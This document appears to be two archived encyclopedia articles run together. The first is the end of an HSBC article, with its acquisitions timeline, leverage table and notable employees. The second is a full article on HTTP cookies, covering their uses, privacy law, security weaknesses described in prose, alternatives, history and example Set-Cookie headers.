            	1991 - shares are listed on the London and Hong Kong stock exchanges.


            	1992 - acquisition of Midland Bank in the United Kingdom.


            	1993 - the headquarters of HSBC Holdings moves from 1 Queens Road Central, Hong Kong to 10 Lower Thames Street, London.


            	1997 - acquisition of Roberts S.A. de Inversiones of Argentina and Banco Bamerindus of Brazil.


            	1999 - acquisition of Republic New York; shares are traded on a third stock exchange, the New York Stock Exchange, as American Depositary Receipts (ADRs).


            	2000 - acquisition of Crdit Commercial de France; shares are traded on a fourth stock exchange, Euronext in Paris.


            	2001 - acquisition of Demirbank of Turkey.


            	2002 - acquisition of Grupo Financiero Bital, S.A. de C.V. of Mexico.


            	2003 - the headquarters of HSBC Holdings moves from 10 Lower Thames Street, London to 8 Canada Square, London.


            	2003 - acquisition of Household International of the United States.


            	2003 - November 20, terrorist attack: a bomb blast in Istanbul damaged the banks head office in Turkey, causing several deaths and hundreds of injuries.


            	2004 - acquisition of The Bank of Bermuda of Bermuda; shares are traded on a fifth stock exchange, the Bermuda Stock Exchange.


            	2004 - acquisition of Marks & Spencer Retail Financial Services Holdings Ltd.


            	2004 - acquisition of 19.9% of the Bank of Communications of Shanghai.


            	2005 - acquisition of Metris Companies, Inc of the United States.


            	2005 - during October 2005 HSBC acquired 70.1% Dar Es Salaam Investment Bank, having begun negotiations earlier in the year. The Coalition Provisional Authority originally granted HSBC along with Standard Chartered and National Bank of Kuwait licences to operate in Iraq.


            	2006 - announcement of pre-tax profits of 11.91 billion, a record for a British Bank.


            	2006 - acquisition of Banca Nazionale del Lavoro of Argentina adds 90 branches to the South American business.


            	2006 - acquisition of Grupo Banistmo, the largest financial services company in Central America, based in Panama.


            	2007 - acquisition of Banex in Costa Rica.


            	2007 - acquisition of The Chinese Bank in Taiwan.

          


          


          Leverage analysis


          
            
              
                HSBC Holdings plc Leverage Analysis
              

              
                	Fiscal Year

                	2005

                	2004

                	2003

                	2002

                	2001
              


              
                	Fiscal Year End Date

                	12/31/05

                	12/31/04

                	12/31/03

                	12/31/02

                	12/31/01
              


              
                	Long Term Debt-

                	

                	

                	

                	

                	
              


              
                	% of Earnings Before Interest & Taxes

                	1,006.2%

                	733.9%

                	782.5%

                	302.8%

                	306.9%
              


              
                	Long Term Debt-

                	

                	

                	

                	

                	
              


              
                	% of Earn Before Int, Tax, Depr & Amort

                	938.0%

                	673.1%

                	710.8%

                	271.8%

                	272.7%
              


              
                	Long Term Debt-

                	

                	

                	

                	

                	
              


              
                	% of Total Assets

                	14.3%

                	11.1%

                	11.3%

                	4.5%

                	4.0%
              


              
                	Long Term Debt-

                	

                	

                	

                	

                	
              


              
                	% of Total Capital

                	68.5%

                	58.5%

                	57.7%

                	36.6%

                	35.1%
              


              
                	Long Term Debt-

                	

                	

                	

                	

                	
              


              
                	% of Common Equity

                	231.6%

                	162.8%

                	156.3%

                	65.0%

                	61.7%
              


              
                	Total Debt-

                	

                	

                	

                	

                	
              


              
                	% of Earnings Before Interest & Taxes

                	1,384.4%

                	1,723.7%

                	1,726.0%

                	1,041.8%

                	1,152.6%
              


              
                	Total Debt-

                	

                	

                	

                	

                	
              


              
                	% of Earn Bef Int, Tax, Depr & Amort

                	1,290.6%

                	1,580.8%

                	1,567.9%

                	935.2%

                	1,023.9%
              


              
                	Total Debt-

                	

                	

                	

                	

                	
              


              
                	% of Total Assets

                	19.6%

                	26.0%

                	24.9%

                	15.3%

                	15.1%
              


              
                	Total Debt-

                	

                	

                	

                	

                	
              


              
                	% of Total Capital

                	94.3%

                	137.5%

                	127.3%

                	125.8%

                	131.6%
              


              
                	Total Debt-

                	

                	

                	

                	

                	
              


              
                	% of Total Capital & Short Term Debt

                	75.0%

                	76.8%

                	75.0%

                	66.5%

                	67.0%
              


              
                	Total Debt-

                	

                	

                	

                	

                	
              


              
                	% of Common Equity

                	318.7%

                	382.3%

                	344.8%

                	223.7%

                	231.6%
              


              
                	Minority Interest-

                	

                	

                	

                	

                	
              


              
                	% of Earnings Before Interest & Taxes

                	27.2%

                	68.7%

                	73.1%

                	58.8%

                	71.1%
              


              
                	Minority Interest-

                	

                	

                	

                	

                	
              


              
                	% of Earn Bef Int, Tax, Depr & Amort

                	25.4%

                	63.0%

                	66.4%

                	52.8%

                	63.2%
              


              
                	Minority Interest-

                	

                	

                	

                	

                	
              


              
                	% of Total Assets

                	0.4%

                	1.0%

                	1.1%

                	0.9%

                	0.9%
              


              
                	Minority Interest-

                	

                	

                	

                	

                	
              


              
                	% Total Capital

                	1.9%

                	5.5%

                	5.4%

                	7.1%

                	8.1%
              


              
                	Minority Interest-

                	

                	

                	

                	

                	
              


              
                	% of Common Equity

                	6.3%

                	15.2%

                	14.6%

                	12.6%

                	14.3%
              


              
                	Common Equity-

                	

                	

                	

                	

                	
              


              
                	% Total Assets

                	6.2%

                	7.2%

                	7.2%

                	6.8%

                	6.5%
              


              
                	Common Equity-

                	

                	

                	

                	

                	
              


              
                	% of Total Capital

                	29.6%

                	36.0%

                	36.9%

                	56.3%

                	56.8%
              


              
                	Total Capital-

                	

                	

                	

                	

                	
              


              
                	% of Total Assets

                	20.8%

                	20.0%

                	19.6%

                	12.2%

                	11.5%
              


              
                	Minority Interest-

                	

                	

                	

                	

                	
              


              
                	% of Earnings Before Interest & Taxes

                	27.2%

                	68.7%

                	73.1%

                	58.8%

                	71.1%
              


              
                	Fixed Assets-

                	

                	

                	

                	

                	
              


              
                	% of Common Equity

                	16.5%

                	21.7%

                	21.1%

                	27.3%

                	29.8%
              


              
                	Dividend Payout

                	39.4%

                	37.4%

                	48.3%

                	57.8%

                	65.3%
              


              
                	Funds From Operations-

                	

                	

                	

                	

                	
              


              
                	% of Total Debt

                	6.0%

                	3.6%

                	3.2%

                	5.9%

                	8.4%
              

            

          


          


          Notable current and former employees


          


          Business


          
            	Jay Hambro - CEO of Aricom


            	Huw Jenkins - Chairman and CEO of UBS Investment Bank


            	Fatafehi Tupoumalohi - Executive Member Capital Group Companies


            	Iqbal Khan - banker


            	Greg Baizer - banker

          


          


          Other


          
            	Dharshini David - television presenter


            	Naina Lal Kidwai - first Indian woman to graduate from Harvard Business School.


            	P. G. Wodehouse - writer


            	Beatrix - Queen of the Kingdom of the Netherlands


            	Sir Arthur Conan Doyle -- author of the Sherlock Holmes detective series of novels

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/HSBC"
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              	HTTP
            


            
              	Persistence  Compression  SSL
            


            
              	Headers
            


            
              	ETag  Cookie  Referer
            


            
              	Status codes
            


            
              	200 OK
            


            
              	301 Moved permanently
            


            
              	302 Found
            


            
              	403 Forbidden
            


            
              	404 Not Found
            


            
              	
            

          


          HTTP cookies, or more commonly referred to as Web cookies, tracking cookies or just cookies, are parcels of text sent by a server to a web client (usually a browser) and then sent back unchanged by the client each time it accesses that server. HTTP cookies are used for authenticating, session tracking (state maintenance), and maintaining specific information about users, such as site preferences or the contents of their electronic shopping carts. The term "cookie" is derived from " magic cookie," a well-known concept in UNIX computing which inspired both the idea and the name of HTTP cookies.


          Cookies have been of concern for Internet privacy, since they can be used for tracking browsing behaviour. As a result, they have been subject to legislation in various countries such as the United States, as well as the European Union. Cookies have also been criticized because the identification of users they provide is not always accurate and because they could potentially be a target of network attackers. Some alternatives to cookies exist, but each has its own uses, advantages, and drawbacks.


          Cookies are also subject to a number of misconceptions, mostly based on the erroneous notion that they are computer programs. In fact, cookies are simple pieces of data unable to perform any operation by themselves. In particular, they are neither spyware nor viruses, despite the detection of cookies from certain sites by many anti-spyware products.


          Most modern browsers allow users to decide whether to accept cookies, but rejection makes some websites unusable. For example, shopping carts implemented using cookies do not work if cookies are rejected.


          


          Purpose


          HTTP cookies are used by Web servers to differentiate users and to maintain data related to the user during navigation, possibly across multiple visits. HTTP cookies were introduced to provide a way for realizing a " shopping cart" (or "shopping basket"), a virtual device into which the user can "place" items to purchase, so that users can navigate a site where items are shown, adding or removing items from the shopping basket at any time.


          Allowing users to log in to a website is another use of cookies. Users typically log in by inserting their credentials into a login page; cookies allow the server to know that the user is already authenticated, and therefore is allowed to access services or perform operations that are restricted to logged-in users.


          Many websites also use cookies for personalization based on users' preferences. Sites that require authentication often use this feature, although it is also present on sites not requiring authentication. Personalization includes presentation and functionality. For example, the Wikipedia Web site allows authenticated users to choose the webpage skin they like best; the Google search engine allows users (even non-registered ones) to decide how many search results per page they want to see.


          Cookies are also used to track users across a website. Third-party cookies and Web bugs, explained below, also allow for tracking across multiple sites. Tracking within a site is typically done with the aim of producing usage statistics, while tracking across sites is typically used by advertising companies to produce anonymous user profiles, which are then used to target advertising (deciding which advertising image to show) based on the user profile.


          


          Realization


          
            [image: A possible interaction between a Web browser and a server holding a Web page, in which the server sends a cookie to the browser and the browser sends it back when requesting another page.]
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          Technically, cookies are arbitrary pieces of data chosen by the Web server and sent to the browser. The browser returns them unchanged to the server, introducing a state (memory of previous events) into otherwise stateless HTTP transactions. Without cookies, each retrieval of a Web page or component of a Web page is an isolated event, mostly unrelated to all other views of the pages of the same site. By returning a cookie to a web server, the browser provides the server a means of connecting the current page view with prior page views. Other than being set by a web server, cookies can also be set by a script in a language such as JavaScript, if supported and enabled by the Web browser.


          Cookie specifications suggest that browsers should support a minimal number of cookies or amount of memory for storing them. In particular, an internet browser is expected to be able to store at least 300 cookies of four kilobytes each, and at least 20 cookies per server or domain.


          Relevant count of maximum stored cookies per domain for the major browsers are:


          
            	Firefox 1.5: 50


            	Firefox 2.0: 50


            	Opera 9: 30


            	Internet Explorer 6: 20 (raised to 50 in update on 14 August 2007)


            	Internet Explorer 7: 20 (raised to 50 in update on 14 August 2007)

          


          In practice cookies must be smaller than 4 kilobytes. Internet Explorer imposes a 4KB total for all cookies stored in a given domain.


          Cookie names are case insensitive according to section 3.1 of RFC 2965


          The cookie setter can specify a deletion date, in which case the cookie will be removed on that date. If the cookie setter does not specify a date, the cookie is removed once the user quits his or her browser. As a result, specifying a date is a way for making a cookie survive across sessions. For this reason, cookies with an expiration date are called persistent. As an example application, a shopping site can use persistent cookies to store the items users have placed in their basket. This way, if users quit their browser without making a purchase and return later, they still find the same items in the basket so they do not have to look for these items again. If these cookies were not given an expiration date, they would expire when the browser is closed, and the information about the basket content would be lost.


          Cookies can also be limited in scope to a specific domain, subdomain or path on the web server which created them. However Phorm has attracted considerable attention in the United Kingdom over its plans to intercept cookies at ISP-level and substitute them with a cookie that allows the company to track users' online activities across all websites visited.


          


          Misconceptions


          Since their introduction on the Internet, misconceptions about cookies have circulated on the Internet and in the media. In 1998, CIAC, a computer incident response team of the United States Department of Energy, found the security vulnerability "essentially nonexistent" and explained that "information about where you come from and what web pages you visit already exists in a web server's log files". In 2005, Jupiter Research published the results of a survey, according to which a consistent percentage of respondents believed some of the following false claims:


          
            	Cookies are like worms and viruses in that they can erase data from the user's hard disks


            	Cookies generate popups


            	Cookies are used for spamming


            	Cookies are only used for advertising

          


          Cookies are in fact only data, not program code: they cannot erase or read information from the user's computer. However, cookies allow for detecting the Web pages viewed by a user on a given site or set of sites. This information can be collected in a profile of the user. Such profiles are often anonymous, that is, they do not contain personal information of the user (name, address, etc.) More precisely, they cannot contain personal information unless the user has made it available to some sites. Even if anonymous, these profiles have been the subject of some privacy concerns.


          According to the same survey, a large percentage of Internet users do not know how to delete cookies.


          


          Browser settings


          Most modern browsers support cookies. However, a user can usually also choose whether cookies should be used or not. The following are common options:


          
            	To enable or disable cookies completely, so that they are always accepted or always blocked.


            	To prompt users for individual cookies and remembering their answers.


            	To distinguish between first-party and third-party cookies and treat each group accordingly (i.e. to restrict or deny third-party cookies but allow first-party cookies.)


            	To treat cookies based on a whitelist or a blacklist, updated by user or the browser manufacturer (i.e. restrict or block cookies from blacklisted sites.)


            	To put a reasonable cap on the expiry date and time of cookies.


            	To treat cookies based on their P3P privacy policies if they have any.

          


          The browser may include the possibility of better specifying which cookies have to be accepted or not. In particular, the user can typically choose one or more of the following options: reject cookies from specific domains; disallow third-party cookies (see below); accept cookies as non-persistent (expiring when the browser is closed); and allow a server to set cookies for a different domain. Additionally, browsers may also allow users to view and delete individual cookies.


          Most browsers supporting JavaScript allow the user to see the cookies that are active with respect to a given page by typing javascript:alert("Cookies: "+document.cookie) in the browser URL field. Some browsers incorporate a cookie manager for the user to see and selectively delete the cookies currently stored in the browser.


          


          Privacy and third-party cookies


          Cookies have some important implications on the privacy and anonymity of Web users. While cookies are only sent to the server setting them or one in the same Internet domain, a Web page may contain images or other components stored on servers in other domains. Cookies that are set during retrieval of these components are called third-party cookies.
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          Advertising companies use third-party cookies to track a user across multiple sites. In particular, an advertising company can track a user across all pages where it has placed advertising images or web bugs. Knowledge of the pages visited by a user allows the advertisement company to target advertisement to the user's presumed preferences.


          The possibility of building a profile of users has been considered by some a potential privacy threat, even when the tracking is done on a single domain but especially when tracking is done across multiple domains using third-party cookies. For this reason, some countries have legislation about cookies.


          The United States government has set strict rules on setting cookies in 2000 after it was disclosed that the White House drug policy office used cookies to track computer users viewing its online anti-drug advertising. In 2002, privacy activist Daniel Brandt found that the CIA had been leaving persistent cookies on computers for ten years. When notified it was violating policy, CIA stated that these cookies were not intentionally set and stopped setting them. On December 25, 2005, Brandt discovered that the National Security Agency had been leaving two persistent cookies on visitors' computers due to a software upgrade. After being informed, the National Security Agency immediately disabled the cookies.


          The 2002 European Union telecommunication privacy Directive contains rules about the use of cookies. In particular, Article 5, Paragraph 3 of this directive mandates that storing data (like cookies) in a user's computer can only be done if: 1) the user is provided information about how this data is used; and 2) the user is given the possibility of denying this storing operation. However, this article also states that storing data that is necessary for technical reasons is exempted from this rule. This directive was expected to have been applied since October 2003, but a December 2004 report says (page 38) that this provision was not applied in practice, and that some member countries (Slovakia, Latvia, Greece, Belgium, and Luxembourg) did not even implement the provision in national law. The same report suggests a thorough analysis of the situation in the Member States.


          The P3P specification includes the possibility for a server to state a privacy policy, which specifies which kind of information it collects and for which purpose. These policies include (but are not limited to) the use of information gathered using cookies. According to the P3P specification, a browser can accept or reject cookies by comparing the privacy policy with the stored user preferences or ask the user, presenting them the privacy policy as declared by the server.


          Many web browsers including Apple's Safari and Microsoft Internet Explorer versions 6 and 7 support P3P which allows the web browser to determine whether to allow 3rd party cookies to be stored. The Opera web browser allows users to refuse third-party cookies and to create global and specific security profiles for Internet domains. Firefox 2.x dropped this option from its menu system but it restored it with the release of version 3.x.


          


          Drawbacks of cookies


          Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are at odds with the Representational State Transfer ( REST) software architectural style.


          


          Inaccurate identification


          If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence cookies do not identify a person, but a combination of a user account, a computer, and a Web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.


          Likewise, cookies do not differentiate between multiple users who share a computer and browser, if they do not use different user accounts.


          


          Cookie hijacking


          
            [image: A cookie can be stolen by another computer that is allowed reading from the network]
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          During normal operation cookies are sent back and forth between a server (or a group of servers in the same domain) and the computer of the browsing user. Since cookies may contain sensitive information (user name, a token used for authentication, etc.), their values should not be accessible to other computers. Cookie theft is the act of intercepting cookies by an unauthorized party.


          Cookies can be stolen via packet sniffing in an attack called session hijacking. Traffic on a network can be intercepted and read by computers on the network other than its sender and its receiver (particularly on unencrypted public Wi-Fi networks). This traffic includes cookies sent on ordinary unencrypted http sessions. Where network traffic is not encrypted, malicious users can therefore read the communications of other users on the network, including their cookies, using programs called packet sniffers.


          This issue can be overcome by securing the communication between the user's computer and the server by employing Transport Layer Security ( https protocol) to encrypt the connection. A server can specify the secure flag while setting a cookie; the browser will then send it only over a secure channel, such as an SSL connection.


          However a large number of websites, although using secure https communication for user authentication (i.e. the login page), subsequently send session cookies and other data over ordinary unencrypted http connections for performance reasons. Attackers can therefore easily intercept the cookies of other users and impersonate them on the relevant websites.


          
            [image: Cross-site scripting: a cookie that should be only exchanged between a server and a client is sent to another party.]
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          A different way to steal cookies is cross-site scripting and making the browser itself send cookies to servers that should not receive them. Modern browsers allow execution of pieces of code retrieved from the server. If cookies are accessible during execution, their value may be communicated in some form to servers that should not access them. Encrypting cookies before sending them on the network does not help against this attack.


          This type of cross-site scripting is typically exploited by attackers on sites that allow users to post HTML content. By embedding a suitable piece of code in an HTML post, an attacker may receive cookies of other users. Knowledge of these cookies can then be exploited by connecting to the same site using the stolen cookies, thus being recognised as the user whose cookies have been stolen.


          A way for preventing such attacks is by the HttpOnly flag; this is a Microsoft option that makes a cookie inaccessible to client side script. However, web developers should consider developing their websites so that they are immune to cross-site scripting.
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          Cookie poisoning


          While cookies are supposed to be stored and sent back to the server unchanged, an attacker may modify the value of cookies before sending them back to the server. If, for example, a cookie contains the total value a user has to pay for the items in their shopping basket, changing this value exposes the server to the risk of making the attacker pay less than the supposed price. The process of tampering with the value of cookies is called cookie poisoning, and is sometimes used after cookie theft to make an attack persistent.


          
            [image: In cross-site cooking, the attacker exploits a browser bug to send an invalid cookie to a server.]

            
              In cross-site cooking, the attacker exploits a browser bug to send an invalid cookie to a server.
            

          


          Most websites, however, only store a session identifier  a randomly generated unique number used to identify the user's session  in the cookie itself, while all the other information is stored on the server. In this case, the problem of cookie poisoning is largely eliminated.


          


          Cross-site cooking


          Each site is supposed to have its own cookies, so a site like example.com should not be able to alter or set cookies for another site, like example.org. Cross-site cooking vulnerabilities in web browsers allow malicious sites to break this rule. This is similar to cookie poisoning, but the attacker exploits non-malicious users with vulnerable browsers, instead of attacking the actual site directly. The goal of such attacks may be to perform session fixation.


          Users are advised to use the more recent versions of web browsers in which such issue is mitigated.


          


          Inconsistent state on client and server


          The use of cookies may generate an inconsistency between the state of the client and the state as stored in the cookie. If the user acquires a cookie and then clicks the "Back" button of the browser, the state on the browser is generally not the same as before that acquisition. As an example, if the shopping cart of an online shop is realized using cookies, the content of the cart may not change when the user goes back in the browser's history: if the user presses a button to add an item in the shopping cart and then clicks on the "Back" button, the item remains in the shopping cart. This might not be the intention of the user, who possibly wanted to undo the addition of the item. This can lead to unreliability, confusion, and bugs. Web developers should therefore be aware of this issue and implement measures to handle such situations as fits.


          


          Cookie expiration


          Persistent cookies have been criticized by privacy experts for not being set to expire soon enough, and thereby allowing some websites to track users and build up a profile of them over time. This aspect of cookies also compounds the issue of session hijacking, because a stolen persistent cookie can potentially be used to impersonate a user for a considerable period of time.


          


          Alternatives to cookies


          Some of the operations that can be realised using cookies can also be realised using other mechanisms. However, these alternatives to cookies have their own drawbacks, which make cookies usually preferred to them in practice. Most of the following alternatives allow for user tracking, even if not as reliably as cookies. As a result, privacy is an issue even if cookies are rejected by the browser or not set by the server.


          


          IP address


          An unreliable technique for tracking users is based on storing the IP addresses of the computers requesting the pages. This technique has been available since the introduction of the World Wide Web, as downloading pages requires the server holding them to know the IP address of the computer running the browser or the proxy, if any is used. This information is available for the server to be stored regardless of whether cookies are used or not.


          However, these addresses are typically less reliable in identifying a user than cookies because computers and proxies may be shared by several users, and the same computer may be assigned different Internet addresses in different work sessions (this is often the case for dial-up connections). The reliability of this technique can be improved by using another feature of the HTTP protocol: when a browser requests a page because the user has followed a link, the request that is sent to the server contains the URL of the page where the link is located. If the server stores these URLs, the path of page viewed by the user can be tracked more precisely. However, these traces are less reliable than the ones provided by cookies, as several users may access the same page from the same computer, NAT router, or proxy and then follow two different links. Moreover, this technique only allows tracking and cannot replace cookies in their other uses.


          Tracking by IP address can be impossible with some systems that are used to retain Internet anonymity, such as Tor. With such systems, not only could one browser carry multiple addresses throughout a session, but multiple users could appear to be coming from the same IP address, thus making IP address use for tracking wholly unreliable.


          Some major ISPs, including AOL, route all web traffic through a small number of proxies which makes this scheme particularly unworkable.


          


          URL (query string)


          A more precise technique is based on embedding information into URLs. The query string part of the URL is the one that is typically used for this purpose, but other parts can be used as well. The Java Servlet and PHP session mechanisms both use this method if cookies are not enabled.


          This method consists of the Web server appending query strings to the links of a Web page it holds when sending it to a browser. When the user follows a link, the browser returns the attached query string to the server.


          Query strings used in this way and cookies are very similar, both being arbitrary pieces of information chosen by the server and sent back by the browser. However, there are some differences: since a query string is part of a URL, if that URL is later reused, the same attached piece of information is sent to the server. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by e-mail, those preferences will be used for that other user as well.


          Moreover, even if the same user accesses the same page two times, there is no guarantee that the same query string is used in both views. For example, if the same user arrives to the same page but coming from a page internal to the site the first time and from an external search engine the second time, the relative query strings are typically different while the cookies would be the same. For more details, see query string.


          Other drawbacks of query strings are related to security: storing data that identifies a session in a query string enables or simplifies session fixation attacks, referer logging attacks and other security exploits. Transferring session identifiers as HTTP cookies is more secure.


          


          Hidden form fields


          A form of session tracking, used by ASP.NET, is to use web forms with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks; and if the form is handled with the HTTP GET method, the fields actually become part of the URL the browser will send upon form submission. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be appended as extra input that is neither part of the URL, nor of a cookie.


          This approach presents two advantages from the point of view of the tracker: first, having the tracking information placed in the HTML source and POST input rather than in the URL means it will not be noticed by the average user; second, the session information is not copied when the user copies the URL (to save the page on disk or send it via email, for example). A drawback of this technique is that session information is in the HTML code; therefore, each web page must be generated dynamically each time someone requests it, placing an additional workload on the web server.


          


          window.name


          All current web browsers can store a fairly large amount of data (2-32 MB) via JavaScript using the DOM property window.name. This data can be used instead of session cookies and is also cross domain. The technique can be coupled with JSON/JavaScript objects to store complex sets of session variables on the client side.


          The downside is that every separate window or tab will initially have an empty window.name; in times of tabbed browsing this means that individually opened tabs (initiation by user) will not have a window name. Furthermore window.name can be used for tracking visitors across different web sites, making it of concern for Internet privacy.


          


          HTTP authentication


          As for authentication, the HTTP protocol includes the basic access authentication and the digest access authentication protocols, which allow access to a Web page only when the user has provided the correct username and password. If the server requires such credential for granting access to a Web page, the browser requests them to the user; once obtained, the browser stores and uses them also for accessing subsequent pages, without requiring the user to provide them again. From the point of view of the user, the effect is the same as if cookies were used: username and password are only requested once, and from that point on the user is given access to the site. In the basic access authentication protocol, a combination of username and password is sent to the server in every browser request. This means that someone listening in on this traffic can simply read this information and store for later use. This problem is overcome in the digest access authentication protocol, in which the username and password are encrypted using a random nonce created by the server.


          Client-side persistence


          Some web browsers support a script-based persistence mechanism that allows the page to store information locally for later retrieval. Internet Explorer, for example, supports persisting information in the browser's history, in favorites, in an XML store, or directly within a Web page saved to disk.


          A different mechanism relies on browsers normally caching (holding in memory instead of reloading) JavaScript programs used in web pages. As an example, a page may contain a link such as <script type="text/javascript" src="example.js">. The first time this page is loaded, the program example.js is loaded as well. At this point, the program remains cached and is not reloaded the second time the page is visited. As a result, if this program contains a statement such as id=3243242, this identifier remains valid and can be exploited by other JavaScript code the next times the page is loaded, or another page linking the same program is loaded.


          


          History


          The term "HTTP cookie" derives from " magic cookie", a packet of data a program receives but only uses for sending it again, possibly to its origin, unchanged. Magic cookies were already used in computing when Lou Montulli had the idea of using them in Web communications in June 1994. At the time, he was an employee of Netscape Communications, which was developing an e-commerce application for a customer. Cookies provided a solution to the problem of reliably implementing a virtual shopping cart.


          Together with John Giannandrea, Montulli wrote the initial Netscape cookie specification the same year. Version 0.9beta of Mosaic Netscape, released on October 13, 1994, supported cookies. The first actual use of cookies (out of the labs) was made for checking whether visitors to the Netscape Web site had already visited the site. Montulli applied for a patent for the cookie technology in 1995; it was granted in 1998. Support for cookies was integrated in Internet Explorer in version 2, released in October 1995.


          The introduction of cookies was not widely known to the public, at the time. In particular, cookies were accepted by default, and users were not notified of the presence of cookies. Some people were aware of the existence of cookies as early as the first quarter of 1995, but the general public learned about them after the Financial Times published an article about them on February 12, 1996. In the same year, cookies received lot of media attention, especially because of potential privacy implications. Cookies were discussed in two U.S. Federal Trade Commission hearings in 1996 and 1997.


          The development of the formal cookie specifications was already ongoing. In particular, the first discussions about a formal specification started in April 1995 on the www-talk mailing list. A special working group within the IETF was formed. Two alternative proposals for introducing a state in an HTTP transactions had been proposed by Brian Behlendorf and David Kristol, respectively, but the group, headed by Kristol himself, soon decided to use the Netscape specification as a starting point. On February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group was eventually published as RFC 2109 in February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default.


          At this time, advertising companies were already using third-party cookies. The recommendation about third-party cookies of RFC 2109 was not followed by Netscape and Internet Explorer. RFC 2109 was followed by RFC 2965 in October 2000.


          


          Implementation


          


          Setting a cookie


          Transfer of Web pages follows the HyperText Transfer Protocol (HTTP). Regardless of cookies, browsers request a page from web servers by sending them a short text called HTTP request. For example, to access the page http://www.example.org/index.html, browsers connect to the server www.example.org sending it a request that looks like the following one:


          
            
              	

              	
                
                  GET /index.html HTTP/1.1

                  Host: www.example.org


                

              

              	
            


            
              	browser

              	
                
                  
                

              

              	server
            

          


          The server replies by sending the requested page preceded by a similar packet of text, called HTTP response. This packet may contain lines requesting the browser to store cookies:


          
            
              	

              	
                
                  HTTP/1.1 200 OK

                  Content-type: text/html

                  Set-Cookie: name=value

                  

                  (content of page)

                

              

              	
            


            
              	browser

              	
                
                  
                

              

              	server
            

          


          The line Set-cookie is only sent if the server wishes the browser to store a cookie. Set-cookie is a request for the browser to store the string name=value and send it back in all future requests to the server. If the browser supports cookies and cookies are enabled, every subsequent page request to the same server contains the cookie. For example, the browser requests the page http://www.example.org/spec.html by sending the server www.example.org a request like the following:


          
            
              	

              	
                
                  GET /spec.html HTTP/1.1

                  Host: www.example.org

                  Cookie: name=value

                  Accept: */*

                  


                

              

              	
            


            
              	browser

              	
                
                  
                

              

              	server
            

          


          This is a request for another page from the same server, and differs from the first one above because it contains the string that the server has previously sent to the browser. This way, the server knows that this request is related to the previous one. The server answers by sending the requested page, possibly adding other cookies as well.


          The value of a cookie can be modified by the server by sending a new Set-Cookie: name=newvalue line in response of a page request. The browser then replaces the old value with the new one.


          The term "cookie crumb" is sometimes used to refer to the name-value pair. This is not the same as breadcrumb web navigation, which is the technique of showing in each page the list of pages the user has previously visited; this technique may however be implemented using cookies.


          The Set-Cookie line is typically not created by the HTTP server itself but by a CGI program. The HTTP server only sends the result of the program (a document preceded by the header containing the cookies) to the browser.


          Cookies can also be set by JavaScript or similar scripts running within the browser. In JavaScript, the object document.cookie is used for this purpose. For example, the instruction document.cookie = "temperature=20" creates a cookie of name temperature and value 20.


          


          Cookie attributes


          Beside the name/value pair, a cookie may also contain an expiration date, a path, a domain name, and whether the cookie is intended only for encrypted connections. RFC 2965 also specifies that cookies must have a mandatory version number, but this is usually omitted. These pieces of data follow the name=newvalue pair and are separated by semicolons. For example, a cookie can be created by the server by sending a line Set-Cookie: name=newvalue; expires=date; path=/; domain=.example.org.


          
            [image: Example of an HTTP response from google.com, which sets a cookie with attributes.]
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          The domain and path tell the browser that the cookie has to be sent back to the server when requesting URLs of a given domain and path. If not specified, they default to the domain and path of the object that was requested. As a result, the domain and path strings may tell the browser to send the cookie when it normally would not. For security reasons, the cookie is accepted only if the server is a member of the domain specified by the domain string.


          Cookies are actually identified by the triple name/domain/path, not only the name (the original Netscape specification considers only the pair name/path). In other words, same name but different domains or paths identify different cookies with possibly different values. As a result, cookie values are changed only if a new value is given for the same name, domain, and path.


          The expiration date tells the browser when to delete the cookie. If no expiration date is provided, the cookie is deleted at the end of the user session, that is, when the user quits the browser. As a result, specifying an expiration date is a means for making cookies to survive across browser sessions. For this reason, cookies that have an expiration date are called persistent.


          The expiration date is specified in the "Wdy, DD-Mon-YYYY HH:MM:SS GMT" format. As an example, the following is a cookie sent by a Web server (the value string has been changed):


          Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.example.net


          The name of this particular cookie is RMID, while its value is the string 732423sdfs73242. The server can use an arbitrary string as the value of a cookie. The server may collapse the value of a number of variables in a single string, like for example a=12&b=abcd&c=32. The path and domain strings / and .example.net tell the browser to send the cookie when requesting an arbitrary page of the domain .example.net, with an arbitrary path.


          


          Expiration


          Cookies expire, and are therefore not sent by the browser to the server, under any of these conditions:


          
            	At the end of the user session (i.e. when the browser is shut down) if the cookie is not persistent


            	An expiration date has been specified, and has passed


            	The expiration date of the cookie is changed (by the server or the script) to a date in the past


            	The browser deletes the cookie by user request

          


          The third condition allows a server or script to explicitly delete a cookie. Note that the browser doesn't send to the server information about cookie lifetime, so there is no way for the server to check if the cookie expires soon.


          


          Authentication


          Cookies can be used by a server to recognize previously- authenticated users and to personalize the web pages of a site depending on the preferences of a user. This can be done for example as follows:


          
            	The user inserts username and password in the text fields of a login page and sends them to the server;


            	The server receives username and password and checks them; if correct, it sends back a page confirming that login has been successful together with a cookie containing with a random session ID that coincides with a session stored in a database. This cookie is usually made valid for only the current browser session, however it may also be set to expire at a future date. The random session ID is then provided on future visits and provides a way for the server to uniquely identify the browser and that the browser already has an authenticated user.


            	Every time the user requests a page from the server, the browser automatically sends the cookie back to the server; the server compares the cookie with the stored ones; if a match is found, the server knows which user has requested that page.

          


          This is the method commonly used by many sites that allow logging in, such as Yahoo!, Wikipedia, and Facebook. (See "Cookie Theft" and "Cookie Expiration" sections of this article for security concerns around this mechanism)


          


          Personalization


          Cookies can be used for allowing users to express preferences about a Web site. For example, the Google search engine allows the user to choose how many results are to be shown for every query, and this choice is maintained across sessions.


          If a user was authenticated using the technique above, when they request a page the server is also sent the cookie associated with the user. It can therefore adapt the requested page to the stored user preferences. When authentication is not used, the user preferences are stored in a cookie. Users select their preferences by entering them in a Web form and submitting it to the server. The server encodes them in a cookie and sends it back to the browser. This way, every time the user accesses a page, the server is also sent the cookie where the preferences are stored, and can personalise the page according to the user preferences.


